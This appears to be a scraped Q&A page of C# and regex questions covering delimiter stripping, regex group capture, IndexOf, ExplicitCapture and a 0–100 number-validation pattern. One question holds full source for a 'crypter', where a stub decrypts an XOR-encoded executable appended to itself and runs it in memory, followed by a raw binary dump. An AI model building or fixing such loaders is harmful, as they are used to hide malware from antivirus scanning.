Hi I have tried already the code below and it does not remove the delimeters in a dat file:
StreamReader input = new StreamReader(txtFile.Text);
string content = input.ReadToEnd().Trim();
string[] split = System.Text.RegularExpressions.Regex.Split(content, "\\s+", RegexOptions.None);
foreach (string s in split)
{
txtStatus.Text = s + "\r\n" + txtStatus.Text;
}
here is a sample data from the dat file I am working on:
xú !' Date D Time C Millitm N TagIndex N Value C Status C! Marker C" Internal C#
2020032403:25:25829 0 # Bÿÿÿÿ 2020032403:25:25829 1 9# Bÿÿÿÿ 2020032403:25:26844 0 # 2020032403:25:26844 1 9# 2020032403:25:27845 0 # 2020032403:25:27845 1 :# 2020032403:25:28847 0 # 2020032403:25:28847 1 ;# 2020032403:25:29851 0 # 2020032403:25:29851 1 <# 2020032403:25:30857 0 # 2020032403:25:30857 1 =# 2020032403:25:31861 0 #
2020032403:25:31861 1 ># 2020032403:25:32867 0 # 2020032403:25:32867 1 ?#
2020032403:25:33873 0 # 2020032403:25:33873 1 ## 2020032403:25:34877 0 # 2020032403:25:34877 1 €## 2020032403:25:35879 0 # 2020032403:25:35879 1 A# 2020032403:25:36888 0 # 2020032403:25:36888 1 €A# 2020032403:25:37890 0 # 2020032403:25:37890 1 B# 2020032403:25:38838 0 # 2020032403:25:38838 1 €B# 2020032403:25:39841 0 # 2020032403:25:39841 1 C# 2020032403:25:40846 0 # 2020032403:25:40846 1 €C# 2020032403:25:41849 0 # 2020032403:25:41849 1 D# 2020032403:25:42851 0 # 2020032403:25:42851 1 €D# ! 2020032403:25:43852 0 # " 2020032403:25:43852 1 E# # 2020032403:25:44860 0 # $ 2020032403:25:44860 1 €E# % 2020032403:25:45862 0 # & 2020032403:25:45862 1 F# ' 2020032403:25:46869 0 # ( 2020032403:25:46869 1 €F# ) 2020032403:25:47873 0 # * 2020032403:25:47873 1 G# + 2020032403:25:48883 0 # , 2020032403:25:48883 1 €G# - 2020032403:25:49887 0 # . 2020032403:25:49887 1 H# / 2020032403:25:50842 0 # 0 2020032403:25:50842 1 €H# 1 2020032403:25:51844 0 # 2 2020032403:25:51844 1 I# 3 2020032403:25:52866 0 # 4 2020032403:25:52866 1 €I# 5 2020032403:25:53868 0 # 6 2020032403:25:53868 1 J# 7 2020032403:25:54884 0 # 8 2020032403:25:54884 1 €J# 9 2020032403:25:55886 0 # : 2020032403:25:55886 1 K# ; 2020032403:25:56896 0 # < 2020032403:25:56896 1 €K# = 2020032403:25:57860 0 # > 2020032403:25:57860 1 L# ? 2020032403:25:58866 0 # # 2020032403:25:58866 1 €L# A 2020032403:25:59868 0 # B 2020032403:25:59868 1 M# C 2020032403:26:00873
can anyone help me?
It depends on your definition of special characters. To remove all characters except numbers, alphabets, spaces and ":" you can use following pattern [^0-9a-zA-Z:\s]+
s = Regex.Replace(s, "[^0-9a-zA-Z]+", "");
txtStatus.Text = s + "\r\n" + txtStatus.Text;
Related
I have managed to match into groups as follows using the below expression but its incomplete.
\([^\)]*\)
Example strings are,
s11(h 1 1 c)(h 1 1 c) x="" y="" z="" phi="" theta=""
e(45,10,h 1 1 c,1,cross,max) x="" y="" z="" phi="" theta=""
With the above expression I can match (h 1 1 c)(h 1 1 c) and (45,10,h 1 1 c,1,cross,max)
But I want to capture the starting string s11 and e along with (h 1 1 c)(h 1 1 c) and (45,10,h 1 1 c,1,cross,max)
You can use
var lines = new List<string> { "s11(h 1 1 c)(h 1 1 c) x=\"\" y=\"\" z=\"\" phi=\"\" theta=\"\"",
"e(45,10,h 1 1 c,1,cross,max) x=\"\" y=\"\" z=\"\" phi=\"\" theta=\"\""};
foreach (var s in lines)
{
Console.WriteLine("==== Next string: \"" + s + "\" =>");
Console.WriteLine(string.Join(", ",
Regex.Matches(s, #"\w+(?:\([^()]*\))+").Cast<Match>().Select(x => x.Value)));
Console.WriteLine("=== With groups and captures:");
var results = Regex.Matches(s, #"(\w+)(?:(\([^()]*\)))+");
foreach (Match m in results)
{
Console.WriteLine(m.Groups[1].Value);
Console.WriteLine(string.Join(", ", m.Groups[2].Captures.Cast<Capture>().Select(z => z.Value)));
}
}
See the C# demo. Output:
==== Next string: "s11(h 1 1 c)(h 1 1 c) x="" y="" z="" phi="" theta=""" =>
s11(h 1 1 c)(h 1 1 c)
=== With groups and captures:
s11
(h 1 1 c), (h 1 1 c)
==== Next string: "e(45,10,h 1 1 c,1,cross,max) x="" y="" z="" phi="" theta=""" =>
e(45,10,h 1 1 c,1,cross,max)
=== With groups and captures:
e
(45,10,h 1 1 c,1,cross,max)
Depending on what exact results you want to get, you may use a regex with or without capturing groups:
\w+(?:\([^()]*\))+
(\w+)(?:(\([^()]*\)))+
See the regex 1 demo and regex 2 demo.
Details
\w+ - one or more word chars (letters, digits and some connector puncutation)
(?:\([^()]*\))+ - one or more repetitions of
\( - a ( char
[^()]* - zero or more chars other than ( and )
\) - a ) char.
Hello i'm having difficulty because i can't load my assembly. I can't because when i join them together and after split the assemblies using a DELIMITER the image of my files are corrupted. The result is well and i can see perfectly the same assembly, however when i do the split, my file will return me System.BadImageFormatException.
Here is the program that i did for joining the files:
using System;
using System.Text;
using System.IO;
using System.Collections.Generic;
namespace Crypter
{
class Program
{
[STAThread]
static void Main(string[] args)
{
//No Arguments -> Exit
if (args.Length < 2)
{
Console.WriteLine("Syntax: crypter.exe <Exe/Dll to get Encrypted> <Password> (Optional: output file name)");
Environment.Exit(0);
}
String file = args[0];
String pass = args[1];
String outFile = "Crypted.exe";
//If Output Name is specified -> Set it
if (args.Length == 3)
{
outFile = args[2];
}
//File doesn't exist -> Exit
if (!File.Exists(file))
{
Console.WriteLine("[!] The selected File doesn't exist!");
Environment.Exit(0);
}
//Everything seems fine -> Reading bytes
Console.WriteLine("[*] Reading Data...");
byte[] plainBytes = File.ReadAllBytes(file);
//Yep, got bytes -> Encoding
Console.WriteLine("[*] Encoding Data...");
byte[] encodedBytes = encodeBytes(plainBytes, pass);
Console.WriteLine("[*] Save to Output File... ");
//Leer el stub
Console.WriteLine("[*] Reading Stub...");
byte[] Stub = File.ReadAllBytes("Stub.exe");
//byte separador
string strseperate = "BLAUMOLAMUCHO";
byte[] toBytes = Encoding.ASCII.GetBytes(strseperate);
//byte[] toBytes = new byte[30];
//write bytes
//var stream
//Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("skip.skip.exe");
//Console.WriteLine(stream);
var s = new MemoryStream();
s.Write(Stub, 0, Stub.Length);
s.Write(toBytes, 0, toBytes.Length);
s.Write(encodedBytes, 0, encodedBytes.Length);
var b3 = s.ToArray();
Stream stream = new MemoryStream(b3);
//Stream stream = new MemoryStream(encodedBytes);
FileStream fileStream = new FileStream(#"out.exe", FileMode.Create, FileAccess.Write);
for (int i = 0; i < stream.Length; i++)
fileStream.WriteByte((byte)stream.ReadByte());
Console.WriteLine("Done!");
Console.WriteLine("\n[*] File successfully encoded!");
}
private static byte[] encodeBytes(byte[] bytes, String pass)
{
byte[] XorBytes = Encoding.Unicode.GetBytes(pass);
for (int i = 0; i < bytes.Length; i++)
{
bytes[i] ^= XorBytes[i % XorBytes.Length];
}
return bytes;
}
}
}
And then i open since the first program, stub.. the program is:
using System;
using System.Collections.Generic;
using System.Data;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Runtime.InteropServices;
using System.Resources;
using System.Security.Cryptography;
using System.Reflection;
using Microsoft.Win32;
namespace skip
{
static class Program
{
/// <summary>
/// MAIN
/// </summary>
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
//Application.Run(new Form1());
//leemos el byte array
byte[] file = File.ReadAllBytes(System.Reflection.Assembly.GetExecutingAssembly().Location);
//obtenemos la string
string str = System.Text.Encoding.ASCII.GetString(file);
string[] arr=str.Split(new string[] { "BLAUMOLAMUCHO" }, StringSplitOptions.None);
string a = arr[0];
string b = arr[1];
/*Console.WriteLine(a);
Console.WriteLine("------------------------------");
Console.WriteLine(b);
Console.ReadKey();*/
byte[] encodedBytes = Encoding.ASCII.GetBytes(b);
RunInternal(encodedBytes,"1234");
}
private static void RunInternal(byte[] exeName, String pass)
{
//Read the raw bytes of the file
byte[] resourcesBuffer = exeName;
//Decrypt bytes from payload
byte[] decryptedBuffer = null;
decryptedBuffer = decryptBytes(resourcesBuffer, pass);
//If .NET executable -> Run
if (System.Text.Encoding.ASCII.GetString(decryptedBuffer).Contains("</assembly>")) //Esto devuelve false
{
//Load the bytes as an assembly
Assembly exeAssembly = Assembly.Load(decryptedBuffer);
//Execute the assembly
object[] parameters = new object[1]; //Don't know why but fixes TargetParameterCountException
try{
exeAssembly.EntryPoint.Invoke(null, parameters);
}catch (Exception ex){
Console.WriteLine(ex);
Console.ReadKey();
}
}
else
{
Console.WriteLine(Encoding.ASCII.GetString(decryptedBuffer));
Console.ReadKey();
}
}
/// <summary>
/// Decrypt the Loaded Assembly Bytes
/// </summary>
/// <param name="payload"></param>
/// <returns>Decrypted Bytes</returns>
private static byte[] decryptBytes(byte[] bytes, String pass)
{
byte[] XorBytes = Encoding.Unicode.GetBytes(pass);
for (int i = 0; i < bytes.Length; i++)
{
bytes[i] ^= XorBytes[i % XorBytes.Length];
}
return bytes;
}
}
}
I know that it's possible because i did in other languages like autoit. And my binary add perflectly the delimiter that i can see when i convert to string:
MZ? ♥ ♦ ?? ? # ? ♫▼?♫ ? ?!?☺L?!T
his program cannot be run in DOS mode.
$ PE L☺♥ ?4‼Y ? ☻☺♂☺♂ ♫ N, # # ☻ ♦ ♦
? ☻ ♥ #? ► ► ► ► ► ?+ S # ♣
` ♀ ?* ∟ H
.text T♀ ♫ ☻ `.rsrc ♣ # ♠ ►
# #.reloc ♀ ` ☻ ▬ # B 0, H ☻ ♣ ?
! $ ☺ ☺ ♠ ‼0☻ # ☺ ◄ (
↕
▬(‼
(¶
o§
(▬
▼→(↨
♂(↑
♠o↓
(→
(←
&*←0♥ ? ☻ ◄ ☻(∟
‼♣◄♣-♣8? ☻(▬
¶♂♠♥(♥ ♠♂(↑
o↓
r☺ po↔
▬?☺‼♣◄♣-9 (▲
o▼ ☺
¶ o
& ?¶‼♦ ◄♦(!
(←
& ? +↓ (↑
o↓
(→
(←
& *☺► P ↕b ¶▼ ☺‼0♣ B ♥ ◄ ("
♥o#
-?☻♀+* BSJB☺ ☺ ♀ v4.0.30319 ♣ l ?☻ #~ H♥ (♦ #Strings
p ∟ #US ? ► #GUID ? ?☺ #Blob ☻ ☺G§☻ ?%3 ▬ ☺ ☻ ♥
♦ # ☼ ♥ ☺ ☻
☺ ♠ 0 ) ♠ ? h ♠ ? ? ♠ ? ? ♠ ? ? ♠ ♠☺? ♠ ▼☺? ♠ 8☺? ♠ S☺? ♠ n☺? ♠ ?☺?☺♠ ?☺?☺♠
?☺? ♠ ?☺? ♠ ◄☻?☺? %☻ ♠ T☻4☻♠ t☻4☻♠ ?☻)
?☻?☻♠ ?☻? ♠ 0♥&♥♠ B♥) _ N♥ ♠ v♥j♥♠ ?♥) ♠ ?♥) ♠ ?♥) ♠ ?♥? ♠ ?♥? ♠ ♦♦) ♠ #♦)
☺ ☺ ☺ ?☺► ‼ ← ♣ ☺ ☺ P ? 7
☺ ? ? < ♫ ☺ L! ? H ¶ ♥ ☺ U ☻ ] ☺ b ☻ ] ◄ ? ∟ ↓ ? ∟ ! ? ∟ ) ? ∟ 1
? ∟ 9 ? ∟ A ? ∟ I ? ∟ Q ? ∟ Y ? ! a ? ∟ i ? ∟ q ? ∟ y ? & ? ? , ? ? 1 ? ? 1 ? ?
☻
? ?☻: ? ♦♥? ? ↓♥D ? 5♥H ? \♥N ? ⌂♥T ? ?♥Y ? ?♥_ ? ?♥d ? ?♥p ? ?♥u ? ?♥z ? ?♥? ?
?♥? ? ?♥? ? ♫♦T ? →♦? ? 5 . ; ☺. ‼ ? . ← ☺☺. # ☺☺. + ☺☺. 3 ? . ♂ ? . C ☺☺. S
☺☺. [ ▼☺. k I☺. s V☺. { _☺. ? h☺i ? ? ♦? ☺ ← ♦ ☺
♦ ☺ ?☻ <Module> skip.exe Program skip mscorlib System Object M
ain RunInternal decryptBytes exeName pass bytes System.Runtime.Versioning Target
FrameworkAttribute .ctor System.Reflection AssemblyTitleAttribute AssemblyDescri
ptionAttribute AssemblyConfigurationAttribute AssemblyCompanyAttribute AssemblyP
roductAttribute AssemblyCopyrightAttribute AssemblyTrademarkAttribute AssemblyCu
ltureAttribute System.Runtime.InteropServices ComVisibleAttribute GuidAttribute
AssemblyVersionAttribute AssemblyFileVersionAttribute System.Diagnostics Debugga
bleAttribute DebuggingModes System.Runtime.CompilerServices CompilationRelaxatio
nsAttribute RuntimeCompatibilityAttribute STAThreadAttribute System.Windows.Form
s Application EnableVisualStyles SetCompatibleTextRenderingDefault Assembly GetE
xecutingAssembly get_Location System.IO File ReadAllBytes Environment SpecialFol
der GetFolderPath System.Text Encoding get_ASCII GetString Console WriteLine Con
soleKeyInfo ReadKey Exists String Contains Load MethodInfo get_EntryPoint Method
Base Invoke Exception get_Unicode GetBytes Byte ↨< / a s s e m b l y > ????
=??J?▲??R???z\V↓4??♥ ☺♣ ☻☺♫♫ ☻↔♣↔♣♫♦ ☺☺♫♦ ☺☺☻♣ ☺☺◄A♦ ☺♥ ☺♦☺ ♦ ☺☺☻♦ ↕U♥ ♫♣
♠↔♣↔♣↕U↔∟↕}☻♣ ☺↔♦↔♣☻G☺ →.NETFramework,Version=v4.0☺ T♫¶FrameworkDisplayName►.NET
Framework 4 ☺ ♦Stub ♣☺ ↨☺ ↕Copyright ?? 2017 )☺ $0f86beb5-80bf-47f1-89
e1-df778adbda88 ♀☺ 1.0.0.0☺ ☺ ▲☺ ☺ T☻▬WrapNonExceptionThrows☺ ?4‼Y
☻ ∟☺ ?* ?♀ RSDS§2??♦YL?{Q‼????☺ c:\Users\Androide\Desktop\CRYPTER SIN DR
OPEAR\Stub\obj\Debug\skip.pdb
, >,
0, _CorExeMain mscoree.dll ?% #
☻ ► ?↑ 8 ? ☺ ☺ P ?
☺ ☺ h ? ☺ ? ☺ ? ?# ?☻
0C ?☺ ?☻4 V S _ V E R S I O N _ I N F O ?♦?? ☺ ☺ ☺
? ♦ ☺ D ☺ V a r F i l e I n f o $ ♦ T r a n s
l a t i o n ?♦?☺ ☺ S t r i n g F i l e I n f o ?☺ ☺ 0 0 0 0 0 4 b 0
4 ♣ ☺ F i l e D e s c r i p t i o n S t u b ☺ F i l e V e r s i o n
1 . 0 . 0 . 0 4 ☺ I n t e r n a l N a m e s k i p . e x e H ↕ ☺ L
e g a l C o p y r i g h t C o p y r i g h t ? 2 0 1 7 < ☺ O r i
g i n a l F i l e n a m e s k i p . e x e , ♣ ☺ P r o d u c t N a m e
S t u b ☺ P r o d u c t V e r s i o n 1 . 0 . 0 . 0 8 ☺ A s s e m b l
y V e r s i o n 1 . 0 . 0 . 0 ???<?xml version="1.0" encoding="UTF-8" stan
dalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
♀ P<
BLAUMOLAMUCHO|Z? 0 4 5 2 ??4 ? 2 3 4 q 2 3 4 1 2 3 4 1 2 3
94 1 2 3 4 1 2 ? 4 ?▼?♫3?=?►?3L?!`hXs↕pAoSrPm↕cRnZoE Pe‼rAn◄i\ wOg \oVe↔
§ 2 3 4 aE2 ⌂☺7 ??#Y3 4 1 2 ? 6☺:☺☻ 42 3 4 ?'2 3 4 1#2 3 t 1 2 3☻4 5 2 3 4 5 2 3
4 1?2 3☻4 1 2 0 t?1 " 3►4 1 " 3►4 1 2 # 4 1 2 3 4 Q'2 | 4 1#2 ?♣4 1 2 3 4 1 2 3
4 1`2 ? 4 ↓&2 / 4 1 2 3 4 1 2 3 4 1 2 3 4 1 2 3 4 1 2 3 4 1 2 ; 4 1 2 3 4 9 2 {
4 1 2 3 4 ▼tWxG 4 ?2 3 42 3☻4 1 2 3 4 1 2 ‼ 4`▼rArP 4 ?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 3 4 1 2
3 4 1 2 3 4 1 2 3 4 ?'2 3 4 1 2 ?'4 1 2 3 4 1 2 3 4 1 2 3 4 ?'2 3 4 1 2 3 kC^rwx
VMUi_ _sPoFeT.Vl_ 4 1 ?%3 t 1 2 3 4 1 2 3 4 1 2 3 4 1 2 3 4 1 2 3 4 1 2 3 4 1 2
3 4 1 2 3 4 1 2 3 4 1 2 3 4 1 2 3 6 ! 2 ‼ 4?) 2 c 4?1 2 3 4 1 2 3 5 0 2 ♂ 4?1 2
3 4 1 2 3 5 1 2 ? 4 1 2 3 4 1 2 3 5 0 2 [ 4?1 2 3 4 1 2 3 5 1 2 ?♥4 ?#2 ♣♥4 1 2
3 4 ♥♠ 3 b b m e q c a z { ⌂ m z z w } 3 4 ?♦??3 5 1 3 ‼W?↑1 3 ‼W?↑♫ 2 3 4 5 2 2
4 1 2 3 4 1 2 w 4 0 d R F w [ _ Q x \ U [ 1 2 ↨ 0 1 f A U _ A _ U E [ \ Z 1 2 3
?♦?☻2 2 g E # Z Z V t Z X T { ] R ^ 2 A☻4 0 ☻ ♥ ♦ ☺ ☻ V ☺ 2 ) 5 0 q \ Y \ W ]
# B 2 3 4 ‼ 3 2 w ^ _ C U _ K } U \ W 3 4 1 2 ♂ < 0 t Z X T v V G R # Z D E [ \
; 0 t Z X T d V F B [ \ Z 1 2 ☻ → ☺ ∟ ♣ ☻
↔ ♠ ♥ ☺ ♥ 1 2 ♂ 8 0 { ] # T # ] U ] | R Y T 2 p [ _ A \ X T ∟ V L T 2 q ; 0 ~
V S P ^ p [ A K A ] V Z G 4 r ] C M C [ T \ E ↕ ☺ ♦ ♣ 3 4 ← 3 2 x T U R X e #
R P T _ R F Z A 3 4 1 2 s 8 0 } A ] V [ ] U ] t Z X T \ R Y T 2 p [ _ A \ X T ∟
V L T 2 ♥ < 0 b A [ U G P # ⌂ S ^ Q 1 2 p [ _ A \ X T 2 q ; 0 b A [ U G P # g W
A G X ] ] 4 ∟ ♥ → ☺ ♀ ▼ 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2 3 4 1 2 3 4
Error return's me:
If you search in the assembly you will see perflectly the DELIMITER, BLAUMOLAMUCHO. I tried including the length's but i must to use streamreader because it's not data.
How i can load two assemblies without using like resource in c#(it's only for educational purposes and learning.)
I am trying to get the index of a each char in the text "ABCDCEF" (textBox.text). The problem is that the first 'C' index is 2 and the second C index is 4 but the second 'C' index in the result is 2 too.
This is the code:
foreach (char character in textBox1.Text)
{
MessageBox.Show(character + " - " + textBox1.Text.IndexOf(character));
}
Result:
char - index
A - 0
B - 1
C - 2
D - 3
C - 2
E - 5
F - 6
The correct result should be:
char - index
A - 0
B - 1
C - 2
D - 3
C - 4
E - 5
F - 6
Why it's happening?
Thanks
string.IndexOf returns first occurrence of a character, that's why it returns index 2 for c lookup.
MSDN Says,
Reports the zero-based index of the first occurrence of a specified
Unicode character or string within this instance. The method returns
-1 if the character or string is not found in this instance.
You could convert it to for loop and get index for each character.
for(int i=0;i<textBox1.Text.Length;i++)
{
MessageBox.Show(textBox1.Text[i] + " - " + i);
}
According to Regex documentation, using RegexOptions.ExplicitCapture makes the Regex only match named groups like (?<groupName>...); but in action it does something a little bit different.
Consider these lines of code:
static void Main(string[] args) {
Regex r = new Regex(
#"(?<code>^(?<l1>[\d]{2})/(?<l2>[\d]{3})/(?<l3>[\d]{2})$|^(?<l1>[\d]{2})/(?<l2>[\d]{3})$|(?<l1>^[\d]{2}$))"
, RegexOptions.ExplicitCapture
);
var x = r.Match("32/123/03");
r.GetGroupNames().ToList().ForEach(gn => {
Console.WriteLine("GroupName:{0,5} --> Value: {1}", gn, x.Groups[gn].Success ? x.Groups[gn].Value : "");
});
}
When you run this snippet you'll see the result contains a group named 0 while I don't have a group named 0 in my regex!
GroupName: 0 --> Value: 32/123/03
GroupName: code --> Value: 32/123/03
GroupName: l1 --> Value: 32
GroupName: l2 --> Value: 123
GroupName: l3 --> Value: 03
Press any key to continue . . .
Could somebody please explain this behavior to me?
You always have group 0: that's the entire match. Numbered groups are relative to 1 based on the ordinal position of the opening parenthesis that defines the group. Your regular expression (formatted for clarity):
(?<code>
^
(?<l1> [\d]{2} )
/
(?<l2> [\d]{3} )
/
(?<l3> [\d]{2} )
$
|
^
(?<l1>[\d]{2})
/
(?<l2>[\d]{3})
$
|
(?<l1> ^[\d]{2} $ )
)
Your expression will backtrack, so you might consider simplifying your regular expression. This is probably clearer and more efficient:
static Regex rxCode = new Regex(#"
^ # match start-of-line, followed by
(?<code> # a mandatory group ('code'), consisting of
(?<g1> \d\d ) # - 2 decimal digits ('g1'), followed by
( # - an optional group, consisting of
/ # - a literal '/', followed by
(?<g2> \d\d\d ) # - 3 decimal digits ('g2'), followed by
( # - an optional group, consisting of
/ # - a literal '/', followed by
(?<g3> \d\d ) # - 2 decimal digits ('g3')
)? # - END: optional group
)? # - END: optional group
) # - END: named group ('code'), followed by
$ # - end-of-line
" , RegexOptions.IgnorePatternWhitespace|RegexOptions.ExplicitCapture );
Once you have that, something like this:
string[] texts = { "12" , "12/345" , "12/345/67" , } ;
foreach ( string text in texts )
{
Match m = rxCode.Match( text ) ;
Console.WriteLine("{0}: match was {1}" , text , m.Success ? "successful" : "NOT successful" ) ;
if ( m.Success )
{
Console.WriteLine( " code: {0}" , m.Groups["code"].Value ) ;
Console.WriteLine( " g1: {0}" , m.Groups["g1"].Value ) ;
Console.WriteLine( " g2: {0}" , m.Groups["g2"].Value ) ;
Console.WriteLine( " g3: {0}" , m.Groups["g3"].Value ) ;
}
}
produces the expected
12: match was successful
code: 12
g1: 12
g2:
g3:
12/345: match was successful
code: 12/345
g1: 12
g2: 345
g3:
12/345/67: match was successful
code: 12/345/67
g1: 12
g2: 345
g3: 67
named group
^(?<l1>[\d]{2})/(?<l2>[\d]{3})/(?<l3>[\d]{2})$|^(?<l1>[\d]{2})/(?<l2>[\d]{3})$|(?<l1>^[\d]{2}$)
try this (i remove first group from your regex) - see demo
I have this RegEx for C# ASP.NET MVC3 Model validation:
[RegularExpression(#"[0-9]*\,?[0-9]?[0-9]")]
This works for almost all cases, except if the number is bigger than 100.
Any number greater than 100 should show error.
I already tried use [Range], but it doesn't work with commas.
Valid: 0 / 0,0 / 0,00 - 100 / 100,0 / 100,00.
Invalid (Number > 100).
Not sure if zero's are only optional digits at the end but
# (?:100(?:,0{1,2})?|[0-9]{1,2}(?:,[0-9]{1,2})?)
(?:
100
(?: , 0{1,2} )?
|
[0-9]{1,2}
(?: , [0-9]{1,2} )?
)
Zero's only option at end
# (?:100|[0-9]{1,2})(?:,0{1,2})?
(?:
100
| [0-9]{1,2}
)
(?: , 0{1,2} )?
And, the permutations for no leading zero's except for zero itself
# (?:100(?:,0{1,2})?|(?:0|[1-9][0-9]?)(?:,[0-9]{1,2})?)
(?:
100
(?: , 0{1,2} )?
|
(?:
0
|
[1-9] [0-9]?
)
(?: , [0-9]{1,2} )?
)
# (?:100|0|[1-9][0-9])(?:,0{1,2})?
(?:
100
|
0
|
[1-9] [0-9]
)
(?: , 0{1,2} )?
Here's a RegEx that matches your criteria:
^(?:(?:[0-9]|[1-9]{1,2})(?:,[0-9]{1,2})?|(?:100)(?:,0{1,2})?)$
(Given your use case, I have assumed that your character sequence appears by itself and is not embedded within other content. Please let me know if that is not the case.)
And here's a Perl program that demonstrates that RegEx on a sample data set. (Also see live demo.)
#!/usr/bin/env perl
use strict;
use warnings;
while (<DATA>) {
chomp;
# A1 => An integer between 1 and 99, without leading zeros.
# (Although zero can appear by itself.)
#
# A2 => A optional fractional component that may contain no more
# than two digits.
#
# -OR-
#
# B1 => The integer 100.
#
# B2 => A optional fractional component following that may
# consist of one or two zeros only.
#
if (/^(?:(?:[0-9]|[1-9]{1,2})(?:,[0-9]{1,2})?|(?:100)(?:,0{1,2})?)$/) {
# ^^^^^^^^A1^^^^^^ ^^^^^A2^^^^ ^B1 ^^^B2^^
print "* [$_]\n";
} else {
print " [$_]\n";
}
}
__DATA__
0
01
11
99
100
101
0,0
0,00
01,00
0,000
99,00
99,99
100,0
100,00
100,000
100,01
100,99
101,00
Expected Output
* [0]
[01]
* [11]
* [99]
* [100]
[101]
* [0,0]
* [0,00]
[01,00]
[0,000]
* [99,00]
* [99,99]
* [100,0]
* [100,00]
[100,000]
[100,01]
[100,99]
[101,00]